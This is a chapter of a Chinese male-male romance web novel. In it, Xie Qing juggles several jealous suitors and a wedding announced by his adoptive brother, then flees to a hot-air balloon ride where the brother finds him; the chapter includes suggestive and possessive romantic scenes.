“我没逼你,”谢呈冰的手指勾住谢清的下巴,强迫他与自己对视,“你也喜欢我的,对吗?身体的反应骗不了人。” 谢清想说照他这么弄,对谁都会有反应。但也知道这么说吃苦的只能是他自己,因此咬了咬唇肉,咽下了委屈。 碍事的被褥被撩到一边,谢清徒劳挣扎两下,抓在谢呈冰耸起的后背肌肉上,留下两道红痕。 后面的话都被咬碎在唇齿间。 谢清怕谢呈冰没完没了,第一次过后就装睡过去,谢呈冰果然忍住没有继续,抱他去浴池清洗了一遍,叫来酒店保洁更换了床单。 之后谢呈冰接了个电话就出门了。 谢清也从装睡到真的困意席卷,睡了过去。 第二天,阳光透过薄薄的窗帘洒进来,谢清才慢吞吞醒过来,揉着腰从床上爬起来,发现身上都是青青紫紫的痕迹,不疼但看上去也够吓人的,谢呈冰总要通过用力来确认彼此的温度和感觉。 除了脸上,哪里都是使不完的情绪。 下床在房间了找了一圈,谢清才气恼地发现,谢呈冰把他衣服全拿走了,连洗手间的浴袍都没留下。 谢呈冰不想让他出门,但显然也不想违背“不强迫他”的承诺,没带走他的手机。 简直像在耍小脾气。 无奈之下,谢清拿起手机拨通了宋岩的号码。电话响了几声,很快就接通了。 “岩哥,帮我带一件衣服上来。”他一开口,连嗓音都是沙哑的,清了清嗓子,脸色有些发热。 不久后,宋岩敲响了房门,手里拎着一件新衣服。谢清卷着被子开门接过,刚准备说点什么,却发现宋岩的目光定在他裸露的肩膀上,眼神有些阴沉。 宋岩的视线在谢清的脖颈、锁骨处的痕迹上停留了片刻,嘴角紧绷,仿佛在极力压抑心中的不满。 他上前一步,动作忽然变得霸道起来,手臂一揽,将谢清紧紧扣在怀里。谢清还没反应过来,宋岩已经低下头,吻住了他的唇。 手提袋掉在地上,谢清瞪大了眼睛,没想到宋岩会在这个时候失控。这个吻带着强烈的占有欲,仿佛在宣泄心中的不甘与愤怒。 谢清本能地推了推他,但宋岩力气很大,圈着他的手臂坚如磐石,根本不给他挣脱的机会。 片刻后,宋岩终于松开了他,眼中依旧燃烧着一丝炽热,沉声问:“昨晚过的很快活?痕迹这么明显。” 谢清有些恼火地擦了擦嘴唇:“出去吧,我要换衣服。” 宋岩忽然抓住了他的手腕,动作比平时更急促,带着无法掩饰的醋意。 “我来帮你。” 谢清原本想拒绝,但见到宋岩目光黯沉,手也在微微颤抖,心中泛起些许无奈。 他叹了口气,任由宋岩动作。 宋岩带茧的指腹粗糙,动作却意外轻柔,缓缓将衣服套在谢清身上,低头扣衬衫的纽扣。 指尖每次碰到谢清的皮肤,都仿佛压抑着某种情绪。扣纽扣的动作倒像是在一点点夺回自己的领地。 谢清始终没吭声,宋岩帮他系完最后一个扣子时,忍不住低声问:“他昨晚有没有……弄疼你?” 谢清摇摇头。 宋岩的手依然没有松开他的衣襟,反而握得更紧了一些,谢清叫了他一声,他才勉强压下不快,手指从谢清的领口缓缓滑落,放开了他。 “秦霄和秦屿已经找到了这家酒店,大少爷不在,你最好不要出门,避免正面碰上。” “不是还有你吗?”谢清声音里带着些倦意,“我想出去吃点东西。” 海岛就这么大,被找到也是预料之内的。谢清早想通了,随便他们怎么纠缠,自己玩自己的。 他们之间相互制肘,自己反而安全,不会被谁突然又绑起来。 宋岩知道说服不了谢清,只好点头:“好吧,我陪你。” 他看着谢清的背影,眼底有些哀伤,但很快化为温柔与坚定:“只要你还需要我。” 出了酒店大门,谢清刚迈出几步,就听见转角传来秦屿略显暴躁的声音。 “爸,这话你去和秦霄说吧。你好好管管他,让他别抢我老婆,公司我不要了都给他!” “什么话?当然是我的真心话啊……” “喂,秦霄,爸让你接电话。” 秦霄直接划断了秦屿的通话,走过转角,恰好和谢清打了照面,他原本死气沉沉的面容瞬间一亮。 秦屿先一步跑了上来,确切地说是他牵着的金毛狗。 那条狗一看到谢清就很兴奋,摇着尾巴汪汪叫个不停。 谢清弯腰摸了摸小金毛的脑袋,心情被它的热情感染,嘴角微微上扬。 “宝宝!你看,我把狗狗照顾的很好的。昨天的事你千万别放在心上。” 秦屿话音刚落,秦霄也微笑走近了,目光在谢清脸上停留一瞬,随后开口:“听说昨天你被你哥带走了,没想到他挺重视你这个弟弟。” 他显然还不知道谢呈冰对谢清的真实想法,语气相对轻松:“这会儿出来,是饿了吧?我已经订好了附近最好的餐厅,都是你喜欢的菜式,不如直接过去。” “不用麻烦你,我自己也可以随便找家餐厅。”谢清淡淡回应。 秦屿闻言也赶紧凑上来,傻里傻气补充了一句:“宝宝,干嘛麻烦你自己!反正秦霄也订了,就花他的钱就好了。” 宋岩在谢清身后发出轻声嗤笑。 秦霄的眼神轻巧地在他身上扫了一下,语气中带着一丝探究:“这不是你哥的保镖吗,怎么还留在这里?难道谢呈冰也暂时不打算回国了?” 秦屿也有同样的疑问,早在看到宋岩的时候他就一肚子火,碍于谢清在笑着逗狗才没有发作,这会儿更是忍不住拈酸吃醋:“他不跟着自己的主人,跟着你干什么?” “两位还真是咸吃萝卜淡操心。”宋岩声音不大,语气却刻薄冷峭,“大少爷回不回国,我跟不跟着小少爷,都是我们自家的事,轮不到外人费心。” 秦霄听出弟弟语气里的酸意,重新打量了宋岩一眼:“我们只是关心谢清而已。” 宋岩讥讽道:“关心他?还是担心你们自己没机会?要真有本事,也不至于今天站在这里,等着看别人脸色。” 秦霄的笑意微微收敛了些,镜片后的眼神变得锐利。他现在确实有点顾虑谢呈冰的意思,毕竟那是谢清的哥哥。 但知道真相的秦屿就不同了,他脸色变来变去,可有的话却不便明说。 谢清对身边的闹剧仿佛一无所知,接过了金毛狗的绳子,适时岔开话题:“走吧,先去餐厅。” 其余三人对视一眼,虽然各怀心思,但还是默默压下冲突,跟在了谢清的身后。 最后还是去了秦霄订的那个餐厅。 秦屿说的没错,他愿意花心思花钱,那谢清自己也不用麻烦了。 落座以后,谢清让狗狗趴下,弯腰把绳子绕在桌脚,秦屿殷勤的想上去帮忙,可见谢清俯身,宽松的衣服坠下去,目光倏然一顿:“宝宝,这是什么?” 谢清直起了身体,秦霄的目光也投过来。 “是什么?”秦屿颤声问。 “你想的那个。”谢清面无表情地说。 秦屿脸色霎时一黑:“是谁?!我昨天就离开那么一会儿……是秦霄这个死人是吧?!”他先想到的是昨天给谢清打电话,秦霄在他房间里接的。 谢清:“我哥。” “他、你们……”秦屿紧接着也想到了谢呈冰,铁青着脸说不下去。 秦霄则是完全没反应过来,罕见的宕机了:“什么?谁?” 谢清摊开菜单先要了杯冰镇果汁,还要继续翻主菜,秦霄蓦然抽出菜单站了起来:“你刚才说谁?” 谢清抬头继续维持面无表情。秦屿愠怒夺回菜单:“跟你有什么关系,我老婆很饿了,你别碍事。” 服务员端了杯子过来倒果汁,见秦霄站在那里,想绕一下,刚往前一走,秦霄却也动了,他蓦然上前扣住谢清的手腕:“你和他……你们……他不是你哥吗?” 服务员被撞的手一抖,果汁洒出来泼在秦霄后背,衣服被染黄了一大片,贴着皮肤,服务员匆忙道歉,但秦霄一点反应也没有,直勾勾看着谢清。 秦屿愈发不高兴:“你不吃饭就滚蛋。” 秦霄看着他:“所以你也知道?” 秦屿撇嘴:“都是他强迫我老婆的!行了别提这个了,烦不烦。” 服务员一边用干净的餐布擦拭客人后背,一边不由自主地偷偷瞟谢清,秦霄终于转过身,脸色极差,勉强维持声线对服务员说:“不必了。” 他默默消化着这个消息,也对,谢呈冰和谢清本来就没有血缘关系,所以他追来A国的举动也不是哥哥对弟弟的关爱,而是有着更复杂的情感纠葛。 他一直以为自己和其他竞争者机会平等,没想到谢呈冰早在这段关系中占据了某种优势。 秦霄站在原地深呼吸一口气,想把谢清拉起来:“原来……原来你离开谢家是这个原因!跟我走,现在就走,我会保护好你的,谢呈冰这个衣冠禽兽……” 宋岩在边上看了半天的好戏,适时走过去挡住他。谢清甩开秦霄的手,无法否认,他打从心里并不乐意从旁人口中听到谢呈冰坏话:“你才衣冠禽兽,你干的事好不到哪去,你再闹我放狗咬你了。” 秦屿:“小鸡毛,上!” 金毛以为他们在玩,绕着三个人的桌子傻乐转圈圈,踩在洒掉的果汁上还滑了个出溜。 服务员带着工具过来清理了地面,主厨已经过来给他们亲自上菜了。 谢清愣了下:“我还没点。” 主厨:“是那边那位先生请你的。”他指了下后面,谢清回头,看见连忆心一个人坐在角落,有些怯懦地抬头看他。 ……热闹,真是热闹。 谢清转了回来,没说什么,拿起了餐具。 秦屿欲言又止,最终瞪着秦霄说:“你杵在那儿挡我老婆的光了,让开。” 秦霄慢慢退回座位上,几秒后又蓦然站起来:“我离开一会儿。” 秦屿冷哼:“早该走了。” 他马上美滋滋坐到了谢清对面,托着腮笑道:“宝宝,这下只有我们两个了。” 宋岩冷笑:“我不是人?” 长桌上的食物精致,可气氛实在微妙到了极点。 谢清:“你们俩要吵架出去吵哦,我想吃个安生的饭。” 两人一齐闭嘴了。 约莫半个小时,秦霄回来了,然而与他一道出现的,竟然还有谢呈冰。 两个人的表情都不是太好看,谢清猜到刚才秦霄一定是打电话质问了他哥。 秦霄不了解谢呈冰,他的行动永远比语言要快一步。 谢呈冰整个人带着他一贯的冰冷气质,表情冷峻地走向谢清:“我们该走了。” 秦屿和后面的连忆心几乎是同时站了起来。 秦屿脸上满是敌意:“干什么?我老婆还没有想去哪儿就去哪儿的自由了?” 秦霄也在他身后冷嘲热讽,一改往日妥帖虚假的微笑:“急什么,来了就走,是怕他和我们多相处几分钟,你就没机会了?” 谢呈冰扫了他们一眼,仿佛他们的反应对他来说毫无意义。他走到谢清身边,按在了他的肩膀上,目光柔和了几分:“今天别太累了,明天我们还要结婚的,你忘了吗?” 他的声音虽然不大,却像颗炸弹在整个餐厅炸开。所有人的表情瞬间变得僵硬,连宋岩的脸色也跟着阴沉下来。 秦霄率先反应过来,冷声质问:“你在开玩笑?结婚?谢清,你答应了?” 谢清就知道局面会发展成这样。 他撂下刀叉,喝光了最后一口果汁,慢吞吞擦了擦嘴,才抬起眼皮:“唔,怎么了,你们要来吗?问谢呈冰要请帖好啦。” 谢呈冰也没料到他会这么说,一瞬间差点也想追问一句:真的? 他呼吸和语速不觉变快了:“对,就在明天,地点是海岛上的圣殿大教堂,你们想来见证,我和谢清欢迎。” 他是真的筹备了婚礼的计划,只要谢清肯,随时都可以。 秦屿脸色瞬间涨红,显然被激怒了:“宝宝,是他逼你的对不对?你根本没必要答应他!” 秦霄也说:“不管怎么样,你是有选择的,有什么苦衷说出来,别被他左右。” 宋岩站在一旁,手指紧紧攥着拳头。角落里,连忆心也是表情阴鸷地盯着这边,咬紧牙关。 “都别吵了,”谢清说,分别看向秦屿和秦霄,“他没逼我,明天,你们爱来就来吧。我吃好啦,要走啦。” 他起身,谢呈冰顺势拉起他的手。 其余所有人站在原地,气氛在沉默中凝滞。 回酒店房间的时候,谢清的卡还没贴上去门就开了,谢呈冰一把将他拉进屋里紧紧搂住:“明天不如真的办一场婚礼吧?” 他在谢清耳边低声蛊惑:“能把他们都劝退,麻烦少一点,不是很好吗?” “好啊。”谢清说。 谢呈冰浑身一震,还没问出“真的吗”,谢清就说:“就想参观一下大教堂,不算结婚哦。” “……”谢呈冰闭了闭眼睛,“嗯。” “我还要继续看你表现的。”谢清强调。 谢呈冰抱着他的力度加重了一些,然后松开了。 “嗯。” “不许再弄丢我的衣服,不许像看犯人一样看着我。你看我这不是回来了吗,我躲来躲去两年了,已经很累了,但你如何还要限制我自由,我还是会走。” 谢呈冰嘴唇微微动了一下,到头来也没多说其他的,只答:“好。” 一个小时后,造型师被谢呈冰安排上门。 房间内,日光透过窗户洒在地毯上,空气中弥漫着淡淡的高级香水的味道。 造型师带着一排精美的礼服站在谢清面前,一件件给他展示着各类的名贵布料和独特剪裁。 谢清靠在沙发上,神色淡淡,手指无聊地滑动着手机屏幕,根本不配合造型师的提问。 “这件适合明天的婚礼,剪裁精致,衬得人身形提拔,你长相秀美又不失英气,是为数不多能撑起这个设计的人。”造型师赔着笑展示着一件白色西装礼服,语气里充满了专业热情。 然而谢清只是抬眼瞥了一下:“随便。” 谢呈冰站在一旁,目光在谢清和礼服之间来回扫视,即便谢清表现的如此不在乎,他也没有发怒,甚至心情看上去相当不错。 他慢慢走到礼服跟前,眼神犀利地打量了一下,指着这件白西装:“就这件。” 造型师会意,连连点头:“好的,先生,我会安排好的。” 谢清对谢呈冰自作主张的决定完全没有任何表示,甚至连头都没抬,依旧专注于手机屏幕。 就在造型师收拾礼服时,谢清已经悄悄在手机上订下了一个景点门票,那是和圣殿大教堂南辕北辙的一处景点,可以乘坐热气球纵览全城。 想到明天所有人都会在婚礼大教堂苦等,而自己已经美美在城市上空看他们的热闹,他的嘴角不禁扬起了一丝得逞笑意。 “在笑什么?”谢呈冰走了过来用指背刮了刮他的脸蛋。 谢清心跳微微一滞,迅速扣下手机,依旧是漫不经心地:“没什么,只是在想明天会是什么样子。” 谢呈冰没有追问,俯身在他脸上亲了一下:“明天就知道了。” 谢清的手机又震了一下,这次是宋岩发来的短信。 【你真的要和他结婚?】 谢清眸光微微一闪,手指在键盘上犹豫了会儿,随后发回了一个模棱两可的答案:“明天看吧。” 晚上谢清不肯和谢呈冰睡一起,把他推进了套房里面。 谢呈冰原本不肯,但提到明天的婚礼,想了想妥协了。 天色已经暗下来了,房间内一片寂静。谢清反复确认手机上的时间,他轻轻掀开被子,赤脚踩在柔软冰凉的地毯上,动作小心翼翼,蹑手蹑脚走到桌边,给自己倒了杯水,拉开窗帘。 “唰拉——” 夜晚冰凉的空气透过微微敞开的窗缝钻进房间,吹拂过他的脸颊,让他有些清醒。 下一刻,套房的里间房门忽然被推开,谢呈冰一下从里面冲出来,动作迅速,一把拉住了谢清,害得谢清手里杯子一晃,水都溅了出来。 谢清吓了一跳:“你干嘛。” 谢呈冰穿着居家服,声音压得很低:“我以为你又要走。” “我睡不着,起来看看夜景而已。”谢清抽了抽手臂,但谢呈冰仍然紧紧攥着不放。 “躺在床上闭上眼睛就睡着了。”谢呈冰低头看了看,“不要总光着脚,会着凉。” 说着弯下腰,双手一揽,把谢清抱了起来,毫不费力地将他转移到了沙发上,转身去玄关找了一双拖鞋。 “你什么都要管我。”谢清嘟哝,“你刚才这反应,神经质过头了吧?” 谢呈冰半跪在地上,动作轻柔地给他套上拖鞋。 谢清:“以后日子不是还长吗?想好好过,就别这么一惊一乍好不好。” 谢呈冰抬眼看着谢清,喉结微微滚动,似乎有什么话想说,但最终没说出来,只是低声答了一句:“以后我会注意。” 谢清摆摆手:“好了,你快回去睡吧,让我一个人待会儿。” 谢呈冰不动,谢清催促了他几句,终于把他赶回房间。 谢呈冰进屋以后,谢清又静等了一会儿,才开始慢慢地穿好衣服,手指拉在外套拉链时微微有些颤抖。 做好一切准备,他蹑手蹑脚推开房门,走出屋子,看了看时间,凌晨三点。 鬼鬼祟祟出了酒店,深夜的微风吹拂在脸上,带来自由的气息,谢清深吸了一口气,快速穿过空旷的街道,来到了摆渡车站点。 上了车,他轻松地靠在座椅上,心里一阵轻快。目的地是热气球的景点,距离明天那场紧张的婚礼越远越好。 车里驶离市中心,谢清的心也随之渐渐平静,长时间的紧张和逃避让他后知后觉的疲惫,眼皮不由自主沉了下去。 车子大概行驶了一两个小时,抵达的时候天色已经微微发亮。 谢清揉了揉眼睛,看到工作人员正在为巨大的气球打气、点火,空气中弥漫出一股淡淡的燃烧气味。 热气球在晨风中膨胀,轻微摇曳,像一个庞大的彩色巨兽。 谢清饶有兴致地看着这壮观的景象,对一会儿的行程非常期待。 早上有些冷,他稍稍裹紧了外套,转头看向四周。除了忙碌的工作人员,这里竟然没有别的游客。 他记得热气球通常会坐好几个人,现在天都亮了,应该会有更多乘客出现才对。 带着一丝疑惑,谢清随口问了导游:“怎么只有我一个啊?其他人迟到了吗?” 导游笑着耸耸肩,没有正面回答,只是说:“您再稍等一下,可能很快就会有其他人到了。” 谢清挑了下眉梢,虽然疑惑,但也没再追问。 正当他准备继续关上热气球的升空准备时,远处传来了车轮的声音,他回头一看,另一辆摆渡车缓缓驶停,随着车门一开,谢清的心猛地一跳。 从车上下来的不是别人,正是谢呈冰! 谢呈冰小臂上撘了一张薄毯,走下车的姿态依旧从容镇定,目光直勾勾落在谢清身上。 谢清的心情顿时非常复杂,他原以为自己的策划天衣无缝。 “你不是应该在……”随着谢呈冰走近,谢清声音越来越小,他朝后张望了几下。 “没有其他人,只有我。”谢呈冰将手中的薄毯展开,轻轻披在谢清肩上,动作轻柔得像在呵护小动物,“他们都去大教堂了。” 不过,等发现谢清不在那里以后,就又没个清净了。 但是无所谓,谢呈冰已经做好了长期争下去的准备。 谢清嘀咕:“那、那你怎么知道我要来坐热气球?” 谢呈冰捋了捋他的头发:“我就是知道。” 谢清被薄毯包裹住,上面还带着谢呈冰特有的体温和气息。他想发脾气的,可谢呈冰没提要抓他回去的事,看样子真的比以前有觉悟了。 他轻轻哼了一声,忽然模仿起谢怀章的严肃语气:“多大的人了,还一天到晚黏着弟弟,不嫌丢人。” 谢呈冰微微一笑:“不丢人。” 导游冲他们招手:“可以了,上来吧——我们要出发啦!” 登上热气球,谢清心情又好了不少。 气球缓缓升起,脚下的世界渐渐远去。晨曦的云雾散去,他们追逐着日出,热气球在沙漠投下影子,像一只可爱的感叹号。 天地交织,如同一幅唯美画卷。谢清站在热气球边缘张开手臂,心旷神怡。 谢呈冰从身后缓缓抱住了他,手臂环绕着他的腰,紧贴的身体传递出一种执着。 谢清本来想推开他,却因为谢呈冰将下巴轻轻搁在他肩头的一个动作,停住了。 小的时候,哥哥的怀抱就是一处避风港,令人难以抗拒,长大不知怎么,就变了意味。 谢呈冰竟也默契地提起过去:“你记不记得小时候,你刚被爸爸领回来,才这么矮,是个小布丁。” 他用手轻轻比划了一下。 谢清哼道:“你高,你最高行了吧。” 谢呈冰:“你被领回家后,我们第一次一起去郊外的小溪玩,那时候你多会撒娇。” 那个时候,小小的谢清蹦蹦跳跳踩在鹅卵石上,手里拿着从谢呈冰那儿要来的小网兜,试图捞起水中的小鱼。 溪流浅可见底,阳光洒在水面上闪闪发光,谢呈冰就在岸上静静看着新来的弟弟。 他还不习惯称对方弟弟。 “哥哥,帮我抓鱼!”小谢清努力了半天什么也没捞着,急忙求助谢呈冰。 谢呈冰应了一声,走过去站在他身旁,动作熟练地捞起了几条巴掌大点的小鱼,放进了谢清的小桶里。 “哇!哥哥好厉害!哥哥最棒!”小谢清兴奋地拍手,眼镜亮晶晶的,仿佛世界上最美好的事情就是这几条鱼。 很快小溪另一端的大石头吸引住谢清的主意,他立即放下网兜,跑到大石头旁,想爬上去看看风景。 但石头又湿又滑,小谢清的脚底打滑,整个人险些跌入水中。 谢呈冰眼疾手快,冲过去抓住了弟弟手臂,将他稳稳拉回了怀里。 小谢清的脸色有些发白,显然是被刚才的惊险吓到了。 谢呈冰蹲下身,双手紧紧捧住弟弟的小脸,语气是一贯的少年老成,严肃之余,比平时多了一分紧张:“你怎么这么不小心?以后不要乱跑,知道吗?” 小谢清被这个当了他没几天的哥哥抱得有些不自在,咯咯笑着,以为哥哥只是在吓唬他:“我没事啦!哥哥,你太紧张了!” 谢呈冰低头看着谢清无忧无虑的脸,心里忽然升起一股奇怪的信念—— 一种想要永远守护他的冲动。 尽管谢清毫无所知,但谢呈冰已经在心底默默做了决定,无论将来发生什么,他都会好好疼爱珍惜眼前的弟弟。 那天回家的路上,谢呈冰牵着谢清的小手,走得比往常更慢。 小谢清一路上叽叽喳喳地讲着自己捞鱼的“战绩”,还说以后要和哥哥一起抓更多的鱼。 谢呈冰古井无波的脸上露出一丝难以察觉的笑意。 热气球上,谢呈冰更加用力搂紧了谢清:“我那时候就知道,你迟早会跟我结婚的。” 谢清也不是第一次听他这么说了,心脏却还是会猛地一跳。 “你可不准在这里求婚哦,我会生气的。” 谢呈冰沉默了。 他果然是准备求婚的吧!?谢清无奈:“反正看样子,我这辈子是甩不掉你了,你又急些什么呢。” 这么久以来,他都陷入各路桃花的感情漩涡里,现在要多感受感受来之不易的自由! “说话呀,坏蛋哥哥?” 整座城市在脚下缩小,变成一幅精致的微缩景观,远处的山峦在日出下披上金色外衣,火红的太阳从山头露出了脸庞。 万道金光洒向天与地,谢清回过头,轮廓沐浴在日出的阳光中,带着浅浅的笑意,如梦如幻。 谢呈冰凝视着他,脸庞在光芒中显得格外柔和温暖,他十指用力紧扣,仿佛这一刻即是永恒。 “好,都听你的。”